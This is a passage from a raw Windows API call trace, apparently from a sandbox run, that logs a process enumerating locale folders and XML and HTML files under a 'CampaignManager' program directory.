cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.201] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.202] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ec87470, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ec87470, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.202] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.203] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.203] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0184.203] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.203] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fi-FI\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484d18 [0184.204] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa817116e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8ed6c2ab, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.204] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x990a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.204] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.204] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ecad633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ecad633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.204] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.205] FindNextFileW (in: hFindFile=0x484d18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8ed6c2ab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.205] FindClose (in: hFindFile=0x484d18 | out: hFindFile=0x484d18) returned 1 [0184.206] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.206] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-BE", cAlternateFileName="")) returned 1 [0184.206] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.206] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-BE\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.207] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8ed6c2ab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa81d6f2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2a33eb, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.207] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f08d25f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f08d25f, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.207] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f27d1ae, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f27d1ae, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.207] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.207] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.208] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.208] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.209] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.209] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0184.209] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CA\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.210] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa820b284, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.210] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2a33eb, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2a33eb, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa7a7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.210] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.210] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.210] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.211] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.211] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.212] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.212] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-CH", cAlternateFileName="")) returned 1 [0184.212] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.212] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.213] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8276077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2c9637, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.213] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.213] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.213] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.214] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.214] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.214] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.215] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.215] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0184.215] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4014830 [0184.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-FR\\*", lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x484b18 [0184.216] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa830d026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f2ef892, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0184.216] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0184.216] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0184.217] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x19f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0184.217] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0184.217] FindNextFileW (in: hFindFile=0x484b18, lpFindFileData=0x30deb94 | out: lpFindFileData=0x30deb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2ef892, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1b3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0184.217] FindClose (in: hFindFile=0x484b18 | out: hFindFile=0x484b18) returned 1 [0184.218] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0184.218] FindNextFileW (in: hFindFile=0x484ad8, lpFindFileData=0x30dee10 | out: lpFindFileData=0x30dee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f2ef892, ftCreationTime.dwHighDateTime=0x1d32723, 